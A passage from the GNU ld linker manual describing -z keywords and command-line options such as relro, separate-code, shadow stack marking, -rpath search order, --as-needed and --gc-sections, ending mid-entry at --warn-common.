Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

